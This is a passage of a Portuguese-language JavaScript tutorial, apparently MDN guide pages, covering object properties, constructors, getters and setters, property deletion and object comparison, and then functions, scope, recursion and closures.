determinado até o momento de execução). Exemplos são mostrados a seguir:\n\n\n```js\nvar meuObj = new Object(),\n  str = \"minhaString\",\n  aleat = Math.random(),\n  obj = new Object();\n\nmeuObj.tipo = \"Sintaxe de ponto\";\nmeuObj[\"data de criacao\"] = \"String com espaco\";\nmeuObj[str] = \"valor de String\";\nmeuObj[aleat] = \"Numero Aleatorio\";\nmeuObj[obj] = \"Objeto\";\nmeuObj[\"\"] = \"Mesmo uma string vazia\";\n\nconsole.log(meuObj);\n```\n\n\nVocê pode também acessar propriedades usando um valor de string que está armazenado em uma variável:\n\n\n```js\nvar nomeDaPropriedade = \"fabricacao\";\nmeuCarro[nomeDaPropriedade] = \"Ford\";\n\nnomeDaPropriedade = \"modelo\";\nmeuCarro[nomeDaPropriedade] = \"Mustang\";\n```\n\n\nVocê pode usar a notação de colchetes com o comando for...in para iterar por todas as propriedades enumeráveis de um objeto. Para ilustrar como isso funciona, a seguinte função mostra as propriedades de um objeto quando você passa o objeto e o nome do objeto como argumentos para a função:\n\n\n```js\nfunction mostrarProps(obj, nomeDoObj) {\n  var resultado = \"\";\n  for (var i in obj) {\n    if (obj.hasOwnProperty(i)) {\n      resultado += nomeDoObj + \".\" + i + \" = \" + obj[i] + \"\\n\";\n    }\n  }\n  return resultado;\n}\n```\n\n\nEntão, a chamada de função `mostrarProps(meuCarro, \"meuCarro\")` retornaria o seguinte:\n```\n\nmeuCarro.fabricacao = Ford\nmeuCarro.modelo = Mustang\nmeuCarro.ano = 1969\n```\n\nObjetos: tudo\n-------------\n\nEm JavaScript, quase tudo é um objeto. Todos os tipos primitivos - com exceção de `null` e `undefined` - são tratados como objetos. Eles podem receber propriedades (propriedades atribuídas de alguns tipos não são persistentes), e possuem todas as características de objetos.\n\nEnumerando todas as propriedades de um objeto\n---------------------------------------------\n\nComeçando com a ECMAScript 5, há três formas nativas de se listar (ou \"caminhar por\") as propriedades de um objeto:\n\n* for...in (en-US) loops\n Esse método caminha por todas as propriedades enumeráveis de um objeto e sua cadeia de protótipos\n* Object.keys(o) (en-US)\n Esse método retorna um array com todos os nomes (\"chaves\") de propriedades próprios de um objeto `o` (mas não na cadeia de protótipos).\n* Object.getOwnPropertyNames(o) (en-US)\n Esse método retorna um array contendo todos os nomes de propriedades próprios (enumeráveis ou não) de um objeto `o`.\n\nAntes, na ECMAScript 5, não existia uma forma nativa de se listar todas as propriedades de um objeto. No entanto, isso pode ser feito com a seguinte função:\n\n\n```js\nfunction listarTodasAsPropriedades(o) {\n  var objectoASerInspecionado;\n  var resultado = [];\n\n  for (\n    objectoASerInspecionado = o;\n    objectoASerInspecionado !== null;\n    objectoASerInspecionado = Object.getPrototypeOf(objectoASerInspecionado)\n  ) {\n    resultado = resultado.concat(\n      Object.getOwnPropertyNames(objectoASerInspecionado),\n    );\n  }\n\n  return resultado;\n}\n```\n\n\nIsso pode ser útil para revelar propriedades \"escondidadas\" (propriedades na cadeia de protótipos que não são acessíveis através do objeto, porque outra propriedade possui o mesmo nome anteriormente na cadeia de protótipos). A listagem de propriedades acessíveis só pode ser facilmente feita através da remoção de valores duplicados no array.\n\nCriando novos objetos\n---------------------\n\nJavaScript possui um número de objetos pré-definidos. Além disso, você pode criar seus próprios objetos. Você pode criar um objeto usando um objeto inicializador. Alternativamente, você pode primeiro criar uma função construtora e depois instanciar um objeto usando aquela função e o operador `new`.\n\n### Usando inicializadores de objeto\n\nAlém de criar objetos usando uma função construtora, você pode criar objetos usando um inicializador de objeto. O uso de inicializadores de objeto é às vezes conhecido como criar objetos com notação literal. O termo \"inicializador de objeto\" é consistente com a terminologia usada por C++.\n\nA sintaxe para um objeto usando-se um inicializador de objeto é:\n\n\n```js\nvar obj = {\n  propriedade\\_1: valor_1, // propriedade\\_# pode ser um identificador...\n  2: valor_2, // ou um numero...\n  // ...,\n  \"propriedade n\": valor_n,\n}; // ou uma string\n```\n\n\nonde `obj` é o nome do novo objeto, cada `propriedade_i` é um identificador (um nome, um número, ou uma string literal), e cada `valor_i` é uma expressão cujo valor é atribuído à `propriedade_i`. O `obj` e a atribuição são opcionais; se você não precisa fazer referência a esse objeto em nenhum outro local, você não precisa atribuí-lo a uma variável. (Note que você pode precisar colocar o objeto literal entre parentêses se o objeto aparece onde um comando é esperado, de modo a não confundir o literal com uma declaração de bloco.)\n\nSe um objeto é criado com um inicializador de objeto em um script de alto nível, JavaScript interpreta o objeto a cada vez que avalia uma expressão contendo o objeto literal. Além disso, um inicializador usado em uma função é criado toda vez que a função é chamada.\n\nO seguinte comando cria um objeto e o atribui à variável `x` somente se a expressão `cond` é verdadeira.\n\n\n```js\nif (cond) var x = { hi: \"there\" };\n```\n\n\nO seguinte exemplo cria `minhaHonda` com três propriedades. Note que a propriedade `motor` é também um objeto com suas próprias propriedades.\n\n\n```js\nvar minhaHonda = {\n  cor: \"vermelho\",\n  rodas: 4,\n  motor: { cilindros: 4, tamanho: 2.2 },\n};\n```\n\n\nVocê pode também usar inicializadores de objeto para criar arrays. Veja arrays literais.\n\n### Usando uma função construtora\n\nAlternativamente, você pode criar um objeto com estes dois passos:\n\n1. Defina o tipo de objeto escrevendo uma função construtora. Há uma forte convenção, e com boa razão, de se usar uma letra inicial maiúscula.\n2. Crie uma instância do objeto com `new`.\n\nPara definir um tipo de objeto, crie uma função para o tipo de objeto que especifique seu nome, suas propriedades e seus métodos. Por exemplo, suponha que você queira criar um tipo objeto para carros. Você quer que esse tipo de objeto seja chamado `carro`, e você quer ele tenha propriedades de marca, modelo, e ano. Para fazer isto, você escreveria a seguinte função:\n\n\n```js\nfunction Carro(marca, modelo, ano) {\n  this.marca = marca;\n  this.modelo = modelo;\n  this.ano = ano;\n}\n```\n\n\nNote o uso de `this` para atribuir valores às propriedades do objeto com base nos valores passados para a função.\n\nAgora você pode criar um objeto chamado `meucarro` como se segue:\n\n\n```js\nvar meucarro = new Carro(\"Eagle\", \"Talon TSi\", 1993);\n```\n\n\nEsse comando cria `meucarro` e atribui a ele valores especificados para suas propriedade. Então o valor de `meucarro.marca` é a string \"Eagle\", `meucarro.ano` é o inteiro 1993, e assim por diante.\n\nVocê pode criar qualquer número de objetos `carro` com o uso de `new`. Exemplo,\n\n\n```js\nvar carroDeKen = new Carro(\"Nissan\", \"300ZX\", 1992);\nvar carroDeVPG = new Carro(\"Mazda\", \"Miata\", 1990);\n```\n\n\nUm objeto pode ter uma propriedade que por si só também é um objeto. Por exemplo, suponha que você define um objeto chamado `pessoa` como se segue:\n\n\n```js\nfunction Pessoa(nome, idade, sexo) {\n  this.nome = nome;\n  this.idade = idade;\n  this.sexo = sexo;\n}\n```\n\n\ne então você instancia dois novos objetos `pessoa` da seguinte forma:\n\n\n```js\nvar jose = new Pessoa(\"Jose Silva\", 33, \"M\");\nvar paulo = new Pessoa(\"Paulo Santos\", 39, \"M\");\n```\n\n\nEntão, você pode reescrever a definição de `carro` de modo a incluir uma propriedade `dono` que recebe um objeto `pessoa`, como se segue:\n\n\n```js\nfunction Carro(marca, modelo, ano, dono) {\n  this.marca = marca;\n  this.modelo = modelo;\n  this.ano = ano;\n  this.dono = dono;\n}\n```\n\n\nPara instanciar os novos objetos, você então usa o seguinte:\n\n\n```js\nvar carro1 = new Carro(\"Eagle\", \"Talon TSi\", 1993, jose);\nvar carro2 = new Carro(\"Nissan\", \"300ZX\", 1992, paulo);\n```\n\n\nPerceba que ao invés de passar uma string literal ou um valor inteiro na hora de criar os novos objetos, os comandos acima passam os objetos `jose` e `paulo` como os argumentos para os donos. Então se você quiser descobrir o nome do dono de `carro2`, você pode acessar a seguinte propriedade:\n\n\n```js\ncarro2.dono;\n```\n\n\nNote que você pode sempre adicionar uma propriedade a um objeto definido anteriormente. Por exemplo, o comando\n\n\n```js\ncarro1.cor = \"preto\";\n```\n\n\nadiciona uma propriedade `cor` ao `carro1`, e dá a ele o valor `\"preto.\"` No entanto, isso não afeta nenhum outro objeto. Para adicionar a nova propriedade a todos os objetos do mesmo tipo, você deve adicionar a propriedade na definição do tipo de objeto `carro`.\n\n### Usando o método Object.create\n\nObjetos podem também ser criados usando-se o método `Object.create()`. Esse método pode ser muito útil, pois permite que você escolha o objeto protótipo para o objeto que você quer criar, sem a necessidade de se definir uma função construtora.\n\n\n```js\n// Encapsulamento das propriedades e métodos de Animal\nvar Animal = {\n  tipo: \"Invertebrados\", // Propriedades de valores padrão\n  qualTipo: function () {\n    // Método que ira mostrar o tipo de Animal\n    console.log(this.tipo);\n  },\n};\n\n// Cria um novo tipo de animal chamado animal1\nvar animal1 = Object.create(Animal);\nanimal1.qualTipo(); // Saída:Invertebrados\n\n// Cria um novo tipo de animal chamado Peixes\nvar peixe = Object.create(Animal);\npeixe.tipo = \"Peixes\";\npeixe.qualTipo(); // Saída: Peixes\n```\n\n### Herança\n\nTodos os objetos em JavaScript herdam de pelo menos um outro objeto. O objeto \"pai\" é conhecido como o protótipo, e as propriedades herdadas podem ser encontradas no objeto `prototype` do construtor.\n\nIndexando Propriedades de Objetos\n---------------------------------\n\nVocê pode se referir a uma propriedade de um objeto pelo seu nome de propriedade ou pelo seu índice ordinal. Se você inicialmente definiu uma propriedade pelo nome, você deve sempre se referir a ela pelo nome, e se você inicialmente definir uma propriedade por um índice, você deve sempre se referir a ela pelo índice.\n\nEsta restrição se aplica quando você cria um objeto e suas propriedades com uma função construtora (como fizemos anteriormente com o objeto do tipo carro) e quando você define propriedades individuais explicitamente (por exemplo, `meuCarro.cor = \"vermelho\"`). Se você inicialmente definir uma propriedade do objeto com um índice, tal como `meuCarro[5] = \"25 mpg\"`, você pode subsequentemente referir-se á propriedade somente como `meuCarro[5]`.\n\nA exceção a esta regra é a objetos refletidos a partir do HTML, como o conjunto de formulários. Você pode sempre se referir a objetos nessas matrizes por seu número de ordem (com base em onde eles aparecem no documento) ou seu nome (se definido). Por exemplo, se a segunda tag `<FORM>` em um documento tem um atributo `NAME` de \"meuFormulario\", você pode se referir ao formulário como `document.forms[1]` ou `document.forms[\"meuFormulario\"]` ou `document.meuFormulario`.\n\nDefinindo propriedades para um tipo de objeto\n---------------------------------------------\n\nVocê pode adicionar uma propriedade a um tipo de objeto definido anteriormente, utilizando a propriedade prototype. Esta define uma propriedade que é partilhada por todos os objetos do tipo especificado, em vez de apenas uma instância do objeto. O código a seguir adiciona uma propriedade `cor` para todos os objetos do tipo C`arro`, em seguida adiciona um valor a propriedade `cor` do objeto `carro1`.\n\n\n```js\nCarro.prototype.cor = null;\ncarro1.cor = \"preto\";\n```\n\n\nConsulte a propriedade (en-US) `prototype` (en-US) do objeto `Function` na Referência JavaScript para mais informações.\n\nDefinindo métodos\n-----------------\n\nUm *método* é uma função associada a um objeto, ou, simplesmente, um método é uma propriedade de um objeto que é uma função. Métodos são definidos da forma que as funções normais são definidas, exceto que eles tenham que ser atribuídos como propriedade de um objeto. São exemplos:\n\n\n```js\nnomeDoObjeto.nomedometodo = nome_da_funcao;\n\nvar meuObjeto = {\n  meuMetodo: function (parametros) {\n    // ...faça algo\n  },\n};\n```\n\n\nOnde `nomeDoObjeto` é um objeto existente, `nomedometodo` é o nome que você atribuiu ao método, e `nome_da_funcao` é o nome da função.\n\nEm seguida, você pode chamar o método no contexto do objeto da seguinte forma:\n\n\n```js\nobjeto.nomedometodo(parametros);\n```\n\n\nVocê pode definir métodos para um tipo de objeto incluindo uma definição de metodo na função construtora do objeto. Por exemplo, você poderia definir uma função que iria formatar e mostrar as propriedades do objeto `carro` previamente definido; por exemplo,\n\n\n```js\nfunction mostreCarro() {\n  var resultado =\n    \"Um belo \" + this.ano + \" \" + this.fabricacao + \" \" + this.modelo;\n  pretty\\_print(resultado);\n}\n```\n\n\nonde `pretty_print` é uma função que mostra uma linha horizontal e uma string. Observe o uso de `this` para referenciar o objeto ao qual o método pertence.\n\nVocê pode fazer desta função um método de `carro`, adicionando seu estado à definição do objeto.\n\n\n```js\nthis.mostreCarro = mostreCarro;\n```\n\n\nAssim, a definição completa de `carro` seria agora, parecida com essa:\n\n\n```js\nfunction Carro(fabricacao, modelo, ano, proprietario) {\n  this.fabricacao = fabricacao;\n  this.modelo = modelo;\n  this.ano = ano;\n  this.proprietario = proprietario;\n  this.mostreCarro = mostreCarro;\n}\n```\n\n\nEntão você pode chamar o método `mostreCarro` para cada objeto seguinte:\n\n\n```js\ncarro1.mostreCarro();\ncarro2.mostreCarro();\n```\n\nUsando `this` para referências de objetos\n-----------------------------------------\n\nJavaScript tem uma palavra-chave especial, this, que você pode usar dentro de um método para referenciar o objeto corrente. Por exemplo, suponha que você tenha uma função chamada `validate` que valida o `valor` da propriedade de um objeto, dado o objeto e os valores altos e baixos:\n\n\n```js\nfunction validate(obj, lowval, hival) {\n  if (obj.value < lowval || obj.value > hival) alert(\"Valor inválido!\");\n}\n```\n\n\nEntão, você poderia chamar `validate` no manipulador de evento `onchange` em cada elemento do formulário, usando `this` para passar o elemento, como no exemplo a seguir:\n\n\n```html\n<input type=\"text\" name=\"age\" size=\"3\" onChange=\"validate(this, 18, 99)\" />\n```\n\n\nNo geral, `this` referencia o objeto chamando um método.\n\nQuando combinado com a propriedade `form` , `this` pode referenciar a forma original do objeto atual. No exemplo seguinte, o formulário `myForm` contém um objeto `Text` e um botão. Quando o usuário clica no botão, o valor do objeto `Text` é definido como nome do formulário. O manipulador de eventos `onclick` do botão usa `this.form` para referenciar a forma original, `myForm`.\n\n\n```html\n<form name=\"myForm\">\n  <p>\n    <label\n >Nome do form:<input type=\"text\" name=\"text1\" value=\"Beluga\"\n /></label>\n  </p>\n  <p>\n    <input\n name=\"button1\"\n type=\"button\"\n value=\"Mostre o Nome do Form\"\n onclick=\"this.form.text1.value = this.form.name\" />\n  </p>\n</form>\n```\n\nDefinindo getters e setters\n---------------------------\n\nUm getter é um método que obtém o valor de uma propriedade específica. Um setter é um método que define o valor de uma propriedade específica. Você pode definir getters e setters em qualquer objeto de núcleo pré-definido ou objeto definido pelo usuário que suporta a adição de novas propriedades. A sintaxe para definir getters e setters usa a sintaxe literal do objeto.\n\nO código a seguir ilustra como getters e setters podem funcionar para um objeto`o`definido pelo usuário.\n\n\n```js\nvar o = {\n  a: 7,\n  get b() {\n    return this.a + 1;\n  },\n  set c(x) {\n    this.a = x / 2;\n  },\n};\n\nconsole.log(o.a); // 7\nconsole.log(o.b); // 8\no.c = 50;\nconsole.log(o.a); // 25\n```\n\n\nAs propriedades do objeto `o` são:\n\n* `o.a` — um número\n* `o.b` — um getter que retorna `o.a` + 1\n* `o.c` — um setter que define o valor de `o.a` pela metade do valor definindo para `o.c`\n\nObserve que nomes de função de getters e setters definidos em um objeto literal usando \"[gs]et *property*()\" (ao contrário de `__define[GS]etter__` ) não são os próprios nomes dos getters, embora a sintaxe `[gs]et propertyName(){ }` possa induzir ao erro e você pensar de outra forma. Para nomear uma função getter ou setter usando a sintaxe \"[gs]et *property*()\", define explicitamente um função nomeada programaticamente usando `Object.defineProperty` (en-US) (ou o legado fallback `Object.prototype.__defineGetter__` (en-US)).\n\nO código a seguir ilustra como getters e setters podem extender o protótipo `Date` para adicionar a propriedade `ano` para todas as instâncias de classes `Date` pré-definidas. Ele usa os métodos `getFullYear` e `setFullYear` existentes da classe `Date` para suportar o getter e setter da propriedade `ano`.\n\nEstes estados definem um getter e setter para a propriedade `ano`:\n\n\n```js\nvar d = Date.prototype;\nObject.defineProperty(d, \"year\", {\n  get: function () {\n    return this.getFullYear();\n  },\n  set: function (y) {\n    this.setFullYear(y);\n  },\n});\n```\n\n\nEstes estados usam o getter e setter em um objeto `Date`:\n\n\n```js\nvar now = new Date();\nconsole.log(now.year); // 2000\nnow.year = 2001; // 987617605170\nconsole.log(now);\n// Wed Apr 18 11:13:25 GMT-0700 (Pacific Daylight Time) 2001\n```\n\n\nA principio, getters e setters podem ser ou\n\n* definidos usando objetos inicializadores, ou\n* adicionar posteriormente para qualquer objeto a qualquer tempo usando um método getter ou setter adicionado\n\nAo definir getters e setters usando objetos inicializadores tudo o que você precisa fazer é prefixar um método getter com `get` e um método setter com `set`. Claro, o método getter não deve esperar um parâmetro, enquanto o método setter espera exatamente um parâmetro (novo valor para definir). Por exemplo:\n\n\n```js\nvar o = {\n  a: 7,\n  get b() {\n    return this.a + 1;\n  },\n  set c(x) {\n    this.a = x / 2;\n  },\n};\n```\n\n\nGetters e setters podem também ser adicionado em um objeto a qualquer hora depois da criação usando o método `Object.defineProperties`. O primeiro parâmetro deste método é o objeto no qual você quer definir o getter ou setter. O segundo parâmetro é um objeto cujos nomes das propriedades são os nomes getter ou setter, e cujo valores das propriedades são objetos para definição de funções getter ou setter. Aqui está um exemplo que define o mesmo getter e setter usado no exemplo anterior:\n\n\n```js\nvar o = { a: 0 };\n\nObject.defineProperties(o, {\n  b: {\n    get: function () {\n      return this.a + 1;\n    },\n  },\n  c: {\n    set: function (x) {\n      this.a = x / 2;\n    },\n  },\n});\n\no.c = 10; // Roda o setter, que associa 10 / 2 (5) para a propriedade 'a'\nconsole.log(o.b); // Roda o getter, que yields a + 1 ou 6\n```\n\n\nEscolher qual das duas formas depende do seu estilo de programação e tarefa na mão. Se você já vai para o inicializador de objeto ao definir um protótipo, provavelmente a maior parte do tempo escolherá a primeira forma. Esta forma é mais compacta e natural. No entanto, se você precisar adicionar getters e setters mais tarde - porque você não escreveu o protótipo ou objeto particular - então a segunda forma é a única possível. A segunda forma provavelmente melhor representa a natureza dinâmica do JavaScript - mas pode tornar o código difícil de ler e entender.\n\nRemovendo propriedades\n----------------------\n\nVocê pode remover uma propriedade não herdada usando o operador `delete`. O código a seguir mostra como remover uma propriedade.\n\n\n```js\n//Criando um novo objeto, myobj, com duas propriedades, a e b.\nvar myobj = new Object();\nmyobj.a = 5;\nmyobj.b = 12;\n\n//Removendo a propriedade a, deixando myobj com apenas a propriedade b.\ndelete myobj.a;\nconsole.log(\"a\" in myobj); // yields \"false\"\n```\n\n\nVocê também pode usar `delete` para remover uma variável global se a `var` keyword não estiver sendo usada para declarar a variável:\n\n\n```js\ng = 17;\ndelete g;\n```\n\nComparando Objetos\n------------------\n\nEm JavaScript, objetos são um tipo de referência. Dois objetos distintos nunca são iguais, mesmo que tenham as mesmas propriedades. Apenas comparando o mesmo objeto de referência com ele mesmo produz verdadeiro.\n\n\n```js\n// Duas variáveis, dois objetos distintos com as mesmas propriedades\nvar fruit = { name: \"apple\" };\nvar fruitbear = { name: \"apple\" };\n\nfruit == fruitbear; // return false\nfruit === fruitbear; // return false\n```\n\n\n\n```js\n// Duas variáveis, um único objeto\nvar fruit = { name: \"apple\" };\nvar fruitbear = fruit; // assign fruit object reference to fruitbear\n\n// Here fruit and fruitbear are pointing to same object\nfruit == fruitbear; // return true\nfruit === fruitbear; // return true\n```\n\n\nPara mais informações sobre comparaçāo de operadores, veja Operadores de comparaçāo (en-US).\n\nVeja também\n-----------\n\n* Para se aprofundar, leia sobre os detalhes do modelo de objetos javaScript.\n* Para saber mais sobre classes em ECMAScript6 (uma nova forma de criar objetos), veja o capítulo JavaScript classes.\n* « Previous\n* Next »"}
{"title":"Funções - JavaScript","text":"Funções\n=======\n\n* « Previous\n* Next »\n\nFunções são blocos de construção fundamentais em JavaScript. Uma função é um procedimento de JavaScript - um conjunto de instruções que executa uma tarefa ou calcula um valor. Para usar uma função, você deve defini-la em algum lugar no escopo do qual você quiser chamá-la.\n\nVeja também o capítulo de referência sobre funções JavaScript para conhecer os detalhes.\n\nDefinindo Funções\n-----------------\n\n### Declarando uma função\n\nA **definição da função** (também chamada de **declaração de função**) consiste no uso da palavra chave `function` (en-US), seguida por:\n\n* Nome da Função.\n* Lista de argumentos para a função, entre parênteses e separados por vírgulas.\n* Declarações JavaScript que definem a função, entre chaves `{ }`.\n\nPor exemplo, o código a seguir define uma função simples chamada `square`:\n\n\n```js\nfunction square(numero) {\n  return numero \\* numero;\n}\n```\n\n\nA função `square` recebe um argumento chamado `numero`. A função consiste em uma instrução que indica para retornar o argumento da função (isto é, `numero`) multiplicado por si mesmo. A declaração `return` (en-US) especifica o valor retornado pela função.\n\n\n```js\nreturn numero \\* numero;\n```\n\n\nParâmetros primitivos (como um número) são passados para as funções por **valor**; o valor é passado para a função, mas se a função altera o valor do parâmetro, esta mudança não reflete globalmente ou na função chamada.\n\nSe você passar um objeto (ou seja, um valor não primitivo (en-US), tal como `Array` ou um objeto definido por você) como um parâmetro e a função alterar as propriedades do objeto, essa mudança é visível fora da função, conforme mostrado no exemplo a seguir:\n\n\n```js\nfunction minhaFuncao(objeto) {\n  objeto.make = \"Toyota\";\n}\n\nvar meucarro = { make: \"Honda\", model: \"Accord\", year: 1998 };\nvar x, y;\n\nx = meucarro.make; // x recebe o valor \"Honda\"\n\nminhaFuncao(meucarro);\ny = meucarro.make; // y recebe o valor \"Toyota\"\n// (a propriedade make foi alterada pela função)\n```\n\n### Expressão de função\n\nEmbora a declaração de função acima seja sintaticamente uma declaração, funções também podem ser criadas por uma **expressão de função**. Tal função pode ser **anônima**; ele não tem que ter um nome. Por exemplo, a função `square` poderia ter sido definida como:\n\n\n```js\nvar square = function (numero) {\n  return numero \\* numero;\n};\nvar x = square(4); //x recebe o valor 16\n```\n\n\nNo entanto, um nome pode ser fornecido com uma expressão de função e pode ser utilizado no interior da função para se referir a si mesma, ou em um debugger para identificar a função em stack traces:\n\n\n```js\nvar fatorial = function fac(n) {\n  return n < 2 ? 1 : n \\* fac(n - 1);\n};\n\nconsole.log(fatorial(3));\n```\n\n\nAs expressões de função são convenientes ao passar uma função como um argumento para outra função. O exemplo a seguir mostra uma função `map` sendo definida e, em seguida, chamada com uma função anônima como seu primeiro parâmetro:\n\n\n```js\nfunction map(f, a) {\n  var result = []; // Cria um novo Array\n  var i;\n  for (i = 0; i != a.length; i++) result[i] = f(a[i]);\n  return result;\n}\n```\n\n\nO código a seguir:\n\n\n```js\nmap(\n  function (x) {\n    return x \\* x \\* x;\n  },\n  [0, 1, 2, 5, 10],\n);\n```\n\n\nretorna [0, 1, 8, 125, 1000].\n\nEm JavaScript, uma função pode ser definida com base numa condição. Por exemplo, a seguinte definição de função define `minhaFuncao` somente se `num` é igual a 0:\n\n\n```js\nvar minhaFuncao;\nif (num == 0) {\n  minhaFuncao = function (objeto) {\n    objeto.make = \"Toyota\";\n  };\n}\n```\n\n\nAlém de definir funções, você também pode usar o construtor `Function` para criar funções a partir de uma string em tempo real, como no método `eval()` (en-US).\n\nUm **método** é uma função invocada por um objeto. Leia mais sobre objetos e métodos em Trabalhando com Objetos (en-US).\n\nChamando funções\n----------------\n\nA definição de uma função não a executa. Definir a função é simplesmente nomear a função e especificar o que fazer quando a função é chamada. Chamar a função executa realmente as ações especificadas com os parâmetros indicados. Por exemplo, se você definir a função `square`, você pode chamá-la do seguinte modo:\n\n\n```js\nsquare(5);\n```\n\n\nA declaração anterior chama a função com o argumento 5. A função executa as instruções e retorna o valor 25.\n\nFunções devem estar no escopo quando são chamadas, mas a declaração de uma função pode ser puxada para o topo (aparecem abaixo da chamada no código), como neste exemplo:\n```\n\nconsole.log(square(5));\n/* ... */\nfunction square(n){return n*n}\n```\n\n\nO escopo de uma função é a função na qual ela é declarada, ou todo o programa se ela é declarada no nível superior.\n\n**Nota:** Nota: Isso funciona apenas quando a definição da função usa a sintaxe acima (ex., `function funcNome(){ })`. O código a seguir não vai funcionar.\n\n\n```js\nconsole.log(square(5));\nvar square = function (n) {\n  return n \\* n;\n};\n```\n\n\nOs argumentos de uma função não estão limitados a strings e números. Você pode passar objetos para uma função. A função `show_props` (definido em Trabalhando com Objetos) é um exemplo de uma função que recebe um objeto como um argumento.\n\nUm função pode chamar a si mesma. Por exemplo, a função que calcula os fatoriais recursivamente:\n\n\n```js\nfunction fatorial(n) {\n  if (n == 0 || n == 1) return 1;\n  else return n \\* fatorial(n - 1);\n}\n```\n\n\nVocê poderia, então, calcular os fatoriais de um a cinco:\n\n\n```js\nvar a, b, c, d, e;\na = fatorial(1); // a recebe o valor 1\nb = fatorial(2); // b recebe o valor 2\nc = fatorial(3); // c recebe o valor 6\nd = fatorial(4); // d recebe o valor 24\ne = fatorial(5); // e recebe o valor 120\n```\n\n\nHá outras maneiras de chamar funções. Muitas vezes há casos em que uma função precisa ser chamada dinamicamente, ou o número de argumentos de uma função varia, ou em que o contexto da chamada de função precisa ser definido para um objeto específico determinado em tempo de execução. Acontece que as funções são, por si mesmas, objetos, e esses objetos por sua vez têm métodos (veja objeto `Function`). Um desses, o método `apply()`, pode ser usado para atingir esse objetivo.\n\nEscopo da função\n----------------\n\nAs variáveis definidas no interior de uma função não podem ser acessadas de nenhum lugar fora da função, porque a variável está definida apenas no escopo da função. No entanto, uma função pode acessar todas variáveis e funções definida fora do escopo onde ela está definida. Em outras palavras, a função definida no escopo global pode acessar todas as variáveis definidas no escopo global. A função definida dentro de outra função também pode acessar todas as variáveis definidas na função hospedeira e outras variáveis ao qual a função hospedeira tem acesso.\n\n\n```js\n// As seguintes variáveis são definidas no escopo global\nvar num1 = 20,\n  num2 = 3,\n  nome = \"Chamahk\";\n\n// Esta função é definida no escopo global\nfunction multiplica() {\n  return num1 \\* num2;\n}\n\nmultiplica(); // Retorna 60\n\n// Um exemplo de função aninhada\nfunction getScore() {\n  var num1 = 2,\n    num2 = 3;\n\n  function add() {\n    return nome + \" scored \" + (num1 + num2);\n  }\n\n  return add();\n}\n\ngetScore(); // Retorna \"Chamahk scored 5\"\n```\n\nEscopo e a pilha de função\n--------------------------\n\n### Recursão\n\nUma função pode referir-se e chamar a si própria. Há três maneiras de uma função referir-se a si mesma:\n\n1. o nome da função\n2. `arguments.callee` (en-US)\n3. uma variável no escopo que se refere a função\n\nPor exemplo, considere a seguinte definição de função:\n\n\n```js\nvar foo = function bar() {\n  // declaracoes\n};\n```\n\n\nDentro do corpo da função, todos, a seguir, são equivalentes:\n\n1. `bar()`\n2. `arguments.callee()`\n3. `foo()`\n\nUma função que chama a si mesma é chamada de função recursiva. Em alguns casos, a recursividade é análoga a um laço. Ambos executam o código várias vezes, e ambos necessitam de uma condição (para evitar um laço infinito, ou melhor, recursão infinita, neste caso). Por exemplo, o seguinte laço:\n\n\n```js\nvar x = 0;\nwhile (x < 10) {\n  // \"x < 10\" a condição do laço\n  // faça coisas\n  x++;\n}\n```\n\n\npode ser convertido em função recursiva e uma chamada para a função:\n\n\n```js\nfunction loop(x) {\n  if (x >= 10)\n    // \"x >= 10\" a condição de parada (equivalente a \"!(x < 10)\")\n    return;\n  // faça coisas\n  loop(x + 1); // chamada recursiva\n}\nloop(0);\n```\n\n\nNo entanto, alguns algoritmos não podem ser simples laços iterativos. Por exemplo, conseguir todos os nós da estrutura de uma árvore (por exemplo, o DOM) é mais fácil se feito recursivamente:\n\n\n```js\nfunction walkTree(node) {\n  if (node == null)\n    //\n    return;\n  // faça algo com o nó\n  for (var i = 0; i < node.childNodes.length; i++) {\n    walkTree(node.childNodes[i]);\n  }\n}\n```\n\n\nEm comparação ao laço da função, cada chamada recursiva realiza outras chamadas recursivas.\n\nÉ possível converter qualquer algoritmo recursivo para um não recursivo, mas muitas vezes a lógica é muito mais complexa e exige o uso de pilhas. Na verdade a própria recursão usa pilha: a pilha de função.\n\nO comportamento da pilha pode ser vista a seguir no exemplo:\n\n\n```js\nfunction foo(i) {\n  if (i < 0) return;\n  document.writeln(\"begin:\" + i);\n  foo(i - 1);\n  document.writeln(\"end:\" + i);\n}\nfoo(3);\n```\n\n\nque produz:\n```\n\nbegin:3\nbegin:2\nbegin:1\nbegin:0\nend:0\nend:1\nend:2\nend:3\n```\n\n### Funções aninhadas e closures\n\nVocê pode aninhar uma função dentro de outra. A função aninhada (interna) é acessível apenas para a função que a contém (exterior). Isso constitui também uma *`closure`*. Uma closure é uma expressão (tipicamente uma função) que pode ter variáveis livres em conjunto com um ambiente que conecta estas variáveis (que \"fecha\" a expressão).\n\nUma vez que uma função aninhada é uma closure, isto significa que uma função aninhada pode \"herdar\" os argumentos e variáveis de sua função de contenção. Em outras palavras, a função interior contém o escopo da função exterior.\n\nEm resumo:\n\n* A função interna só pode ser acessada a partir de declarações em função externa.\n* A função interna forma uma closure: a função interna pode usar os argumentos e variáveis da função externa, enquanto a função externa não pode usar os argumentos e variáveis da função interna.\n\nO exemplo a seguir mostra as funções aninhadas:\n\n\n```js\nfunction addSquares(a, b) {\n  function square(x) {\n    return x \\* x;\n  }\n  return square(a) + square(b);\n}\na = addSquares(2, 3); // retorna 13\nb = addSquares(3, 4); // retorna 25\nc = addSquares(4, 5); // retorna 41\n```\n\n\nUma vez que a função interna forma uma *closure*, você pode chamar a função externa e especificar argumentos para a função externa e interna:\n\n\n```js\nfunction fora(x) {\n  function dentro(y) {\n    return x + y;\n  }\n  return dentro;\n}\nfn_inside = fora(3); // Pense nisso como: Receba uma função que adicionará 3 ao que quer que você repasse para ela\nresult = fn\\_inside(5); // retorna 8\n\nresult1 = fora(3)(5); // retorna 8\n```\n\n### Preservação de variáveis\n\nObserve como `x` é preservado quando `dentro` é retornado. Uma *closure* deve preservar os argumentos e variáveis em todos os escopos que ela referencia. Uma vez que cada chamada fornece potencialmente argumentos diferentes, uma nova closure é criada para cada chamada de `fora`. A memória só poderá ser liberada quando o `dentro` retornado já não é mais acessível.\n\nIsso não é diferente de armazenar referências em outros objetos, mas muitas vezes é menos óbvio, porque um não define diretamente as referências e não pode inspecioná-las.\n\n### Múltiplas funções aninhadas\n\nFunções podem ter múltiplo aninhamento, por exemplo, a função (A) contém a função (B) que contém a função (C). Tanto as funções B e C formam uma *closure*, então B pode acessar A, e C pode acessar B. Além disso, uma vez que C pode acessar B que pode acessar A, C também pode acessar A. Assim, a *closure* pode conter vários escopos; eles recursivamente contém o escopo das funções que os contém. Isso é chamado *`encadeamento de 